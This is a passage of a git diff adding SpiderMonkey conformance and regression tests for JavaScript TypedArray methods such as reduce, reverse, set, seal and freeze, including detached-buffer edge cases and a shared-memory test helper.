+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.reduce(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.reduce(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var reduce = newGlobal()[constructor.name].prototype.reduce;
+ assertEq(reduce.call(arr, (previous, current) => Math.min(previous, current)), 1);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(3), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.reduce.call(invalidReceiver, () => {});
+ }, TypeError, "Assert that reduce fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(arr, "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).reduce((previous, current) => Math.max(previous, current)), 5);
+}
+
+// Tests for TypedArray#reduceRight.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.reduceRight.length, 1);
+
+ // Basic tests.
+ var arr = new constructor([1, 2, 3, 4, 5]);
+
+ assertEq(arr.reduceRight((previous, current) => previous + current), 15);
+ assertEq(arr.reduceRight((previous, current) => current - previous), 3);
+
+ var count = 0;
+ var sum = 0;
+ assertEq(arr.reduceRight((previous, current, index, array) => {
+ count++;
+ sum += current;
+ assertEq(current - 1, index);
+ assertEq(current, arr[index]);
+ assertEq(array, arr);
+ return previous * current;
+ }), 120);
+ assertEq(count, 4);
+ assertEq(sum, 10);
+
+ // Tests for `initialValue` argument.
+ assertEq(arr.reduceRight((previous, current) => previous + current, -15), 0);
+ assertEq(arr.reduceRight((previous, current) => previous + current, ""), "54321");
+ assertDeepEq(arr.reduceRight((previous, current) => previous.concat(current), []), [5, 4, 3, 2, 1]);
+
+ // Tests for `this` value.
+ var global = this;
+ arr.reduceRight(function(){
+ assertEq(this, global);
+ });
+ arr.reduceRight(function(){
+ "use strict";
+ assertEq(this, undefined);
+ });
+ arr.reduceRight(() => assertEq(this, global));
+
+ // Throw an exception in the callback.
+ var count = 0;
+ var sum = 0;
+ assertThrowsInstanceOf(() => {
+ arr.reduceRight((previous, current, index, array) => {
+ count++;
+ sum += current;
+ if (index === 1) {
+ throw TypeError("reduceRight");
+ }
+ })
+ }, TypeError);
+ assertEq(count, 3);
+ assertEq(sum, 9);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.reduceRight();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.reduceRight(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.reduceRight(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var reduceRight = newGlobal()[constructor.name].prototype.reduceRight;
+ assertEq(reduceRight.call(arr, (previous, current) => Math.min(previous, current)), 1);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(3), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.reduceRight.call(invalidReceiver, () => {});
+ }, TypeError, "Assert that reduceRight fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(arr, "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).reduceRight((previous, current) => Math.max(previous, current)), 5);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/reverse.js b/js/src/tests/non262/TypedArray/reverse.js
new file mode 100644
index 0000000000..f8146506c6
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/reverse.js
@@ -0,0 +1,38 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertDeepEq(constructor.prototype.reverse.length, 0);
+
+ assertDeepEq(new constructor().reverse(), new constructor());
+ assertDeepEq(new constructor(10).reverse(), new constructor(10));
+ assertDeepEq(new constructor([]).reverse(), new constructor([]));
+ assertDeepEq(new constructor([1]).reverse(), new constructor([1]));
+ assertDeepEq(new constructor([1, 2]).reverse(), new constructor([2, 1]));
+ assertDeepEq(new constructor([1, 2, 3]).reverse(), new constructor([3, 2, 1]));
+ assertDeepEq(new constructor([1, 2, 3, 4]).reverse(), new constructor([4, 3, 2, 1]));
+ assertDeepEq(new constructor([1, 2, 3, 4, 5]).reverse(), new constructor([5, 4, 3, 2, 1]));
+ assertDeepEq(new constructor([.1, .2, .3]).reverse(), new constructor([.3, .2, .1]));
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var reverse = newGlobal()[constructor.name].prototype.reverse;
+ assertDeepEq(reverse.call(new constructor([3, 2, 1])), new constructor([1, 2, 3]));
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.reverse.call(invalidReceiver);
+ }, TypeError, "Assert that reverse fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).reverse();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/seal-and-freeze.js b/js/src/tests/non262/TypedArray/seal-and-freeze.js
new file mode 100644
index 0000000000..f90efb866f
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/seal-and-freeze.js
@@ -0,0 +1,49 @@
+"use strict";
+
+// Seal
+assertEq(Object.isSealed(new Int32Array(2)), false);
+assertEq(Object.isSealed(new Int32Array(0)), false);
+
+var array = new Int32Array(0);
+Object.preventExtensions(array);
+assertEq(Object.isSealed(array), true);
+
+// Non-empty typed arrays can never be sealed, because the elements stay configurable.
+array = new Int32Array(1);
+array.b = "test";
+Object.preventExtensions(array);
+assertEq(Object.isSealed(array), false);
+Object.defineProperty(array, "b", {configurable: false});
+assertEq(Object.isSealed(array), false);
+
+array = new Int32Array(2);
+array.b = "test";
+assertThrowsInstanceOf(() => Object.seal(array), TypeError);
+assertEq(Object.isSealed(array), false);
+assertThrowsInstanceOf(() => array.c = 15, TypeError);
+
+// Freeze
+assertEq(Object.isFrozen(new Int32Array(2)), false);
+assertEq(Object.isFrozen(new Int32Array(0)), false);
+
+// Empty non-extensible typed-array is trivially frozen
+var array = new Int32Array(0);
+Object.preventExtensions(array);
+assertEq(Object.isFrozen(array), true);
+
+array = new Int32Array(0);
+array.b = "test";
+assertEq(Object.isFrozen(array), false);
+Object.preventExtensions(array);
+assertEq(Object.isFrozen(array), false);
+Object.defineProperty(array, "b", {configurable: false, writable: false});
+assertEq(Object.isFrozen(array), true);
+
+// Non-empty typed arrays can never be frozen, because the elements stay writable
+array = new Int32Array(1);
+assertThrowsInstanceOf(() => Object.freeze(array), TypeError);
+assertEq(Object.isExtensible(array), false);
+assertEq(Object.isFrozen(array), false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/set-detached-bigint.js b/js/src/tests/non262/TypedArray/set-detached-bigint.js
new file mode 100644
index 0000000000..c54f4b867f
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/set-detached-bigint.js
@@ -0,0 +1,19 @@
+let ta = new BigInt64Array(10);
+
+let obj = {
+ get length() {
+ detachArrayBuffer(ta.buffer);
+ return 1;
+ },
+ 0: {
+ valueOf() {
+ return "huzzah!";
+ }
+ },
+};
+
+// Throws a SyntaxError, because "huzzah!" can't be parsed as a BigInt.
+assertThrowsInstanceOf(() => ta.set(obj), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/set-detached.js b/js/src/tests/non262/TypedArray/set-detached.js
new file mode 100644
index 0000000000..56f9631daf
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/set-detached.js
@@ -0,0 +1,240 @@
+// Tests for detached ArrayBuffer checks in %TypedArray%.prototype.set(array|typedArray, offset).
+
+function* createTypedArrays(lengths = [0, 1, 4, 4096]) {
+ for (let length of lengths) {
+ let buffer = new ArrayBuffer(length * Int32Array.BYTES_PER_ELEMENT);
+ let typedArray = new Int32Array(buffer);
+
+ yield {typedArray, buffer};
+ }
+}
+
+if (typeof detachArrayBuffer === "function") {
+ class ExpectedError extends Error {}
+
+ // No detached check on function entry.
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ detachArrayBuffer(buffer);
+
+ assertThrowsInstanceOf(() => typedArray.set(null, {
+ valueOf() {
+ throw new ExpectedError();
+ }
+ }), ExpectedError);
+ }
+
+ // Check for detached buffer after calling ToInteger(offset). Test with:
+ // - valid offset,
+ // - too large offset,
+ // - and negative offset.
+ for (let [offset, error] of [[0, TypeError], [1000000, TypeError], [-1, RangeError]]) {
+ for (let source of [[], [0], new Int32Array(0), new Int32Array(1)]) {
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ assertThrowsInstanceOf(() => typedArray.set(source, {
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return offset;
+ }
+ }), error);
+ }
+ }
+ }
+
+ // Tests when called with detached typed array as source.
+ for (let {typedArray} of createTypedArrays()) {
+ for (let {typedArray: source, buffer: sourceBuffer} of createTypedArrays()) {
+ detachArrayBuffer(sourceBuffer);
+
+ assertThrowsInstanceOf(() => typedArray.set(source, {
+ valueOf() {
+ throw new ExpectedError();
+ }
+ }), ExpectedError);
+ }
+ }
+
+ // Check when detaching source buffer in ToInteger(offset). Test with:
+ // - valid offset,
+ // - too large offset,
+ // - and negative offset.
+ for (let [offset, error] of [[0, TypeError], [1000000, TypeError], [-1, RangeError]]) {
+ for (let {typedArray} of createTypedArrays()) {
+ for (let {typedArray: source, buffer: sourceBuffer} of createTypedArrays()) {
+ assertThrowsInstanceOf(() => typedArray.set(source, {
+ valueOf() {
+ detachArrayBuffer(sourceBuffer);
+ return offset;
+ }
+ }), error);
+ }
+ }
+ }
+
+ // Test when target and source use the same underlying buffer and
+ // ToInteger(offset) detaches the buffer. Test with:
+ // - same typed array,
+ // - different typed array, but same element type,
+ // - and different element type.
+ for (let src of [ta => ta, ta => new Int32Array(ta.buffer), ta => new Float32Array(ta.buffer)]) {
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let source = src(typedArray);
+ assertThrowsInstanceOf(() => typedArray.set(source, {
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return 0;
+ }
+ }), TypeError);
+ }
+ }
+
+ // Test when Get(src, "length") detaches the buffer, but srcLength is 0.
+ // Also use different offsets to ensure bounds checks use the typed array's
+ // length value from before detaching the buffer.
+ for (let offset of [() => 0, ta => Math.min(1, ta.length), ta => Math.max(0, ta.length - 1)]) {
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let source = {
+ get length() {
+ detachArrayBuffer(buffer);
+ return 0;
+ }
+ };
+ typedArray.set(source, offset(typedArray));
+ }
+ }
+
+ // Test when ToLength(Get(src, "length")) detaches the buffer, but
+ // srcLength is 0. Also use different offsets to ensure bounds checks use
+ // the typed array's length value from before detaching the buffer.
+ for (let offset of [() => 0, ta => Math.min(1, ta.length), ta => Math.max(0, ta.length - 1)]) {
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let source = {
+ length: {
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return 0;
+ }
+ }
+ };
+ typedArray.set(source, offset(typedArray));
+ }
+ }
+
+ // Test a TypeError is thrown when the typed array is detached and
+ // srcLength > 0.
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let source = {
+ length: {
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return 1;
+ }
+ }
+ };
+ let err = typedArray.length === 0 ? RangeError : TypeError;
+ assertThrowsInstanceOf(() => typedArray.set(source), err);
+ }
+
+ // Same as above, but with side-effect when executing Get(src, "0").
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let source = {
+ get 0() {
+ throw new ExpectedError();
+ },
+ length: {
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return 1;
+ }
+ }
+ };
+ let err = typedArray.length === 0 ? RangeError : ExpectedError;
+ assertThrowsInstanceOf(() => typedArray.set(source), err);
+ }
+
+ // Same as above, but with side-effect when executing ToNumber(Get(src, "0")).
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let source = {
+ get 0() {
+ return {
+ valueOf() {
+ throw new ExpectedError();
+ }
+ };
+ },
+ length: {
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return 1;
+ }
+ }
+ };
+ let err = typedArray.length === 0 ? RangeError : ExpectedError;
+ assertThrowsInstanceOf(() => typedArray.set(source), err);
+ }
+
+ // Side-effects when getting the source elements detach the buffer.
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let source = Object.defineProperties([], {
+ 0: {
+ get() {
+ detachArrayBuffer(buffer);
+ return 1;
+ }
+ }
+ });
+ let err = typedArray.length === 0 ? RangeError : TypeError;
+ assertThrowsInstanceOf(() => typedArray.set(source), err);
+ }
+
+ // Side-effects when getting the source elements detach the buffer. Also
+ // ensure other elements aren't accessed.
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let source = Object.defineProperties([], {
+ 0: {
+ get() {
+ detachArrayBuffer(buffer);
+ return 1;
+ }
+ },
+ 1: {
+ get() {
+ throw new Error("Unexpected access");
+ }
+ }
+ });
+ let err = typedArray.length <= 1 ? RangeError : TypeError;
+ assertThrowsInstanceOf(() => typedArray.set(source), err);
+ }
+
+ // Side-effects when converting the source elements detach the buffer.
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let source = [{
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return 1;
+ }
+ }];
+ let err = typedArray.length === 0 ? RangeError : TypeError;
+ assertThrowsInstanceOf(() => typedArray.set(source), err);
+ }
+
+ // Side-effects when converting the source elements detach the buffer. Also
+ // ensure other elements aren't accessed.
+ for (let {typedArray, buffer} of createTypedArrays()) {
+ let source = [{
+ valueOf() {
+ detachArrayBuffer(buffer);
+ return 1;
+ }
+ }, {
+ valueOf() {
+ throw new Error("Unexpected access");
+ }
+ }];
+ let err = typedArray.length <= 1 ? RangeError : TypeError;
+ assertThrowsInstanceOf(() => typedArray.set(source), err);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/set-negative-offset.js b/js/src/tests/non262/TypedArray/set-negative-offset.js
new file mode 100644
index 0000000000..6d9c45ffb2
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/set-negative-offset.js
@@ -0,0 +1,35 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var gTestfile = "set-negative-offset.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1140752;
+var summary =
+ "%TypedArray%.prototype.set must throw a RangeError when passed a negative " +
+ "offset";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ new Uint8Array().set([], -1);
+ throw new Error("didn't throw at all");
+}
+catch (e)
+{
+ assertEq(e instanceof RangeError, true,
+ "expected RangeError, instead got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/TypedArray/set-same-buffer-different-source-target-types.js b/js/src/tests/non262/TypedArray/set-same-buffer-different-source-target-types.js
new file mode 100644
index 0000000000..9084ce883a
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/set-same-buffer-different-source-target-types.js
@@ -0,0 +1,41 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var gTestfile = "set-same-buffer-different-source-target-types.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 896116;
+var summary =
+ "When setting a typed array from an overlapping typed array of different " +
+ "element type, copy the source elements into properly-sized temporary " +
+ "memory, and properly copy them into the target without overflow (of " +
+ "either source *or* target) when finished";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// smallest 2**n triggering segfaults in a pre-patch build locally, then
+// quadrupled in case the boundary ever changes, or is different in some other
+// memory-allocating implementation
+var srclen = 65536;
+
+var ta = new Uint8Array(srclen * Float64Array.BYTES_PER_ELEMENT);
+var ta2 = new Float64Array(ta.buffer, 0, srclen);
+ta.set(ta2);
+
+// This test mostly exists to check for no crash above, but it's worth testing
+// for no uninitialized memory (in case of buffer overflow) being copied into
+// the array, too.
+for (var i = 0, len = ta.length; i < len; i++)
+ assertEq(ta[i], 0, "zero-bits double should convert to zero");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/TypedArray/set-tointeger.js b/js/src/tests/non262/TypedArray/set-tointeger.js
new file mode 100644
index 0000000000..8c1e9c2418
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/set-tointeger.js
@@ -0,0 +1,95 @@
+// Test ToInteger conversion in %TypedArray%.prototype.set(array|typedArray, offset).
+
+let ta = new Int32Array(4);
+
+// %TypedArray%.prototype.set has two different implementations for typed array
+// and non-typed array arguments. Test with both input types.
+let emptySources = [[], new Int32Array(0)];
+let nonEmptySource = [[0], new Int32Array(1)];
+let sources = [...emptySources, ...nonEmptySource];
+
+// Test when ToInteger(offset) is in (-1, 4).
+let validOffsets = [
+ // Values in [+0, 4).
+ 0,
+ 0.1,
+ 3,
+ 3.9,
+
+ // Values in (-1, -0].
+ -0,
+ -0.1,
+ -0.9,
+
+ NaN,
+
+ // Also include some non-number values.
+ undefined,
+ null,
+ true,
+ "",
+ "3",
+ " 1\t\n",
+ "some string",
+ {valueOf() { return 2; }},
+];
+
+for (let offset of validOffsets) {
+ for (let source of sources) {
+ ta.set(source, offset);
+ }
+}
+
+// Test when ToInteger(offset) isn't in (-1, 4).
+let invalidOffsets = [
+ // Values exceeding the typed array's length.
+ 5,
+ 2147483647,
+ 2147483648,
+ 2147483649,
+ 4294967295,
+ 4294967296,
+ 4294967297,
+ Infinity,
+
+ // Negative values.
+ -1,
+ -1.1,
+ -2147483647,
+ -2147483648,
+ -2147483649,
+ -4294967295,
+ -4294967296,
+ -4294967297,
+ -Infinity,
+
+ // Also include some non-number values.
+ "8",
+ "Infinity",
+ " Infinity ",
+ {valueOf() { return 10; }},
+];
+
+for (let offset of invalidOffsets) {
+ for (let source of sources) {
+ assertThrowsInstanceOf(() => ta.set(source, offset), RangeError);
+ }
+}
+
+// Test when ToInteger(offset) is in [4, 5).
+for (let source of emptySources) {
+ ta.set(source, 4);
+ ta.set(source, 4.9);
+}
+for (let source of nonEmptySource) {
+ assertThrowsInstanceOf(() => ta.set(source, 4), RangeError);
+ assertThrowsInstanceOf(() => ta.set(source, 4.9), RangeError);
+}
+
+// ToInteger(symbol value) throws a TypeError.
+for (let source of sources) {
+ assertThrowsInstanceOf(() => ta.set(source, Symbol()), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/set-toobject.js b/js/src/tests/non262/TypedArray/set-toobject.js
new file mode 100644
index 0000000000..360c5dde7e
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/set-toobject.js
@@ -0,0 +1,53 @@
+// Test ToObject in %TypedArray%.prototype.set(array|typedArray, offset).
+
+let ta = new Int32Array(4);
+
+for (let nullOrUndefined of [null, undefined]) {
+ // ToObject(array) throws a TypeError when |array| is null or undefined.
+ assertThrowsInstanceOf(() => ta.set(nullOrUndefined), TypeError);
+
+ // ToInteger(offset) is called before ToObject(array).
+ class ExpectedError extends Error {}
+ assertThrowsInstanceOf(() => ta.set(nullOrUndefined, {
+ valueOf() {
+ throw new ExpectedError();
+ }
+ }), ExpectedError);
+}
+
+// Ensure ta is still initialized with zeros.
+assertEqArray(ta, [0, 0, 0, 0]);
+
+// %TypedArray%.prototype.set can be called with a string primitive values.
+ta.set("");
+assertEqArray(ta, [0, 0, 0, 0]);
+
+ta.set("123");
+assertEqArray(ta, [1, 2, 3, 0]);
+
+// Throws a RangeError if the length is too large.
+assertThrowsInstanceOf(() => ta.set("456789"), RangeError);
+assertEqArray(ta, [1, 2, 3, 0]);
+
+// When called with other primitive values the typed array contents don't
+// change since ToObject(<primitive>).length is zero, i.e. the source object is
+// treated the same as an empty array.
+for (let value of [true, false, 0, NaN, 123, Infinity, Symbol()]) {
+ ta.set(value);
+ assertEqArray(ta, [1, 2, 3, 0]);
+}
+
+// Repeat test from above when the primitive wrapper prototype has been changed
+// to include "length" and an indexed property.
+Number.prototype.length = 4;
+Number.prototype[3] = -1;
+try {
+ ta.set(456);
+ assertEqArray(ta, [0, 0, 0, -1]);
+} finally {
+ delete Number.prototype.length;
+ delete Number.prototype[3];
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/set-with-receiver.js b/js/src/tests/non262/TypedArray/set-with-receiver.js
new file mode 100644
index 0000000000..dc01c0766f
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/set-with-receiver.js
@@ -0,0 +1,28 @@
+for (var constructor of anyTypedArrayConstructors) {
+ var receiver = {};
+
+ var ta = new constructor(1);
+ assertEq(Reflect.set(ta, 0, 47, receiver), true);
+ assertEq(ta[0], 0);
+ assertEq(receiver[0], 47);
+
+ // Out-of-bounds
+ assertEq(Reflect.set(ta, 10, 47, receiver), true);
+ assertEq(ta[10], undefined);
+ assertEq(receiver[10], 47);
+
+ // Detached
+ if (typeof detachArrayBuffer === "function" &&
+ !isSharedConstructor(constructor))
+ {
+ detachArrayBuffer(ta.buffer)
+
+ assertEq(ta[0], undefined);
+ assertEq(Reflect.set(ta, 0, 42, receiver), true);
+ assertEq(ta[0], undefined);
+ assertEq(receiver[0], 42);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/set-wrapped.js b/js/src/tests/non262/TypedArray/set-wrapped.js
new file mode 100644
index 0000000000..30a242bf0b
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/set-wrapped.js
@@ -0,0 +1,81 @@
+// Test %TypedArray%.prototype.set(typedArray, offset) when called with wrapped
+// typed array.
+
+if (typeof newGlobal === "function") {
+ var otherGlobal = newGlobal();
+
+ function taintLengthProperty(obj) {
+ Object.defineProperty(obj, "length", {
+ get() {
+ assertEq(true, false);
+ }
+ });
+ }
+
+ for (var TA of anyTypedArrayConstructors) {
+ var target = new TA(4);
+ var source = new otherGlobal[TA.name]([10, 20]);
+
+ // Ensure "length" getter accessor isn't called.
+ taintLengthProperty(source);
+
+ assertEqArray(target, [0, 0, 0, 0]);
+ target.set(source, 1);
+ assertEqArray(target, [0, 10, 20, 0]);
+ }
+
+ // Detachment checks are also applied correctly for wrapped typed arrays.
+ if (typeof detachArrayBuffer === "function") {
+ // Create typed array from different global (explicit constructor call).
+ for (var TA of typedArrayConstructors) {
+ var target = new TA(4);
+ var source = new otherGlobal[TA.name](1);
+ taintLengthProperty(source);
+
+ // Called with wrapped typed array, array buffer already detached.
+ otherGlobal.detachArrayBuffer(source.buffer);
+ assertThrowsInstanceOf(() => target.set(source), TypeError);
+
+ var source = new otherGlobal[TA.name](1);
+ taintLengthProperty(source);
+
+ // Called with wrapped typed array, array buffer detached when
+ // processing offset parameter.
+ var offset = {
+ valueOf() {
+ otherGlobal.detachArrayBuffer(source.buffer);
+ return 0;
+ }
+ };
+ assertThrowsInstanceOf(() => target.set(source, offset), TypeError);
+ }
+
+ // Create typed array from different global (implictly created when
+ // ArrayBuffer is a CCW).
+ for (var TA of typedArrayConstructors) {
+ var target = new TA(4);
+ var source = new TA(new otherGlobal.ArrayBuffer(1 * TA.BYTES_PER_ELEMENT));
+ taintLengthProperty(source);
+
+ // Called with wrapped typed array, array buffer already detached.
+ otherGlobal.detachArrayBuffer(source.buffer);
+ assertThrowsInstanceOf(() => target.set(source), TypeError);
+
+ var source = new TA(new otherGlobal.ArrayBuffer(1 * TA.BYTES_PER_ELEMENT));
+ taintLengthProperty(source);
+
+ // Called with wrapped typed array, array buffer detached when
+ // processing offset parameter.
+ var offset = {
+ valueOf() {
+ otherGlobal.detachArrayBuffer(source.buffer);
+ return 0;
+ }
+ };
+ assertThrowsInstanceOf(() => target.set(source, offset), TypeError);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/set.js b/js/src/tests/non262/TypedArray/set.js
new file mode 100644
index 0000000000..2af5a129a8
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/set.js
@@ -0,0 +1,21 @@
+const TypedArrayPrototype = Object.getPrototypeOf(Int8Array.prototype);
+
+// %TypedArrayPrototype% has an own "set" function property.
+assertEq(TypedArrayPrototype.hasOwnProperty("set"), true);
+assertEq(typeof TypedArrayPrototype.set, "function");
+
+// The concrete TypedArray prototypes do not have an own "set" property.
+assertEq(anyTypedArrayConstructors.every(c => !c.hasOwnProperty("set")), true);
+
+assertDeepEq(Object.getOwnPropertyDescriptor(TypedArrayPrototype, "set"), {
+ value: TypedArrayPrototype.set,
+ writable: true,
+ enumerable: false,
+ configurable: true,
+});
+
+assertEq(TypedArrayPrototype.set.name, "set");
+assertEq(TypedArrayPrototype.set.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/shell.js b/js/src/tests/non262/TypedArray/shell.js
new file mode 100644
index 0000000000..2fb0ab8f1d
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/shell.js
@@ -0,0 +1,114 @@
+(function(global) {
+ "use strict";
+
+ const {
+ Float32Array, Float64Array, Object, Reflect, SharedArrayBuffer, WeakMap,
+ assertEq
+ } = global;
+ const {
+ apply: Reflect_apply,
+ construct: Reflect_construct,
+ } = Reflect;
+ const {
+ get: WeakMap_prototype_get,
+ has: WeakMap_prototype_has,
+ } = WeakMap.prototype;
+
+ const sharedConstructors = new WeakMap();
+
+ // Synthesize a constructor for a shared memory array from the constructor
+ // for unshared memory. This has "good enough" fidelity for many uses. In
+ // cases where it's not good enough, call isSharedConstructor for local
+ // workarounds.
+ function sharedConstructor(baseConstructor) {
+ // Create SharedTypedArray as a subclass of %TypedArray%, following the
+ // built-in %TypedArray% subclasses.
+ class SharedTypedArray extends Object.getPrototypeOf(baseConstructor) {
+ constructor(...args) {
+ var array = Reflect_construct(baseConstructor, args);
+ var {buffer, byteOffset, length} = array;
+ var sharedBuffer = new SharedArrayBuffer(buffer.byteLength);
+ var sharedArray = Reflect_construct(baseConstructor,
+ [sharedBuffer, byteOffset, length],
+ new.target);
+ for (var i = 0; i < length; i++)
+ sharedArray[i] = array[i];
+ assertEq(sharedArray.buffer, sharedBuffer);
+ return sharedArray;
+ }
+ }
+
+ // 22.2.5.1 TypedArray.BYTES_PER_ELEMENT
+ Object.defineProperty(SharedTypedArray, "BYTES_PER_ELEMENT",
+ {__proto__: null, value: baseConstructor.BYTES_PER_ELEMENT});
+
+ // 22.2.6.1 TypedArray.prototype.BYTES_PER_ELEMENT
+ Object.defineProperty(SharedTypedArray.prototype, "BYTES_PER_ELEMENT",
+ {__proto__: null, value: baseConstructor.BYTES_PER_ELEMENT});
+
+ // Share the same name with the base constructor to avoid calling
+ // isSharedConstructor() in multiple places.
+ Object.defineProperty(SharedTypedArray, "name",
+ {__proto__: null, value: baseConstructor.name});
+
+ sharedConstructors.set(SharedTypedArray, baseConstructor);
+
+ return SharedTypedArray;
+ }
+
+ /**
+ * All TypedArray constructors for unshared memory.
+ */
+ const typedArrayConstructors = Object.freeze([
+ Int8Array,
+ Uint8Array,
+ Uint8ClampedArray,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array,
+ ]);
+
+ /**
+ * All TypedArray constructors for shared memory.
+ */
+ const sharedTypedArrayConstructors = Object.freeze(
+ typeof SharedArrayBuffer === "function"
+ ? typedArrayConstructors.map(sharedConstructor)
+ : []
+ );
+
+ /**
+ * All TypedArray constructors for unshared and shared memory.
+ */
+ const anyTypedArrayConstructors = Object.freeze([
+ ...typedArrayConstructors, ...sharedTypedArrayConstructors,
+ ]);
+
+ /**
+ * Returns `true` if `constructor` is a TypedArray constructor for shared
+ * memory.
+ */
+ function isSharedConstructor(constructor) {
+ return Reflect_apply(WeakMap_prototype_has, sharedConstructors, [constructor]);
+ }
+
+ /**
+ * Returns `true` if `constructor` is a TypedArray constructor for shared
+ * or unshared memory, with an underlying element type of either Float32 or
+ * Float64.
+ */
+ function isFloatConstructor(constructor) {
+ if (isSharedConstructor(constructor))
+ constructor = Reflect_apply(WeakMap_prototype_get, sharedConstructors, [constructor]);
+ return constructor == Float32Array || constructor == Float64Array;
+ }
+
+ global.typedArrayConstructors = typedArrayConstructors;
+ global.sharedTypedArrayConstructors = sharedTypedArrayConstructors;
+ global.anyTypedArrayConstructors = anyTypedArrayConstructors;
+ global.isSharedConstructor = isSharedConstructor;
+ global.isFloatConstructor = isFloatConstructor;
+})(this);
diff --git a/js/src/tests/non262/TypedArray/slice-bitwise.js b/js/src/tests/non262/TypedArray/slice-bitwise.js
new file mode 100644
index 0000000000..ea0a670b18
--- /dev/null
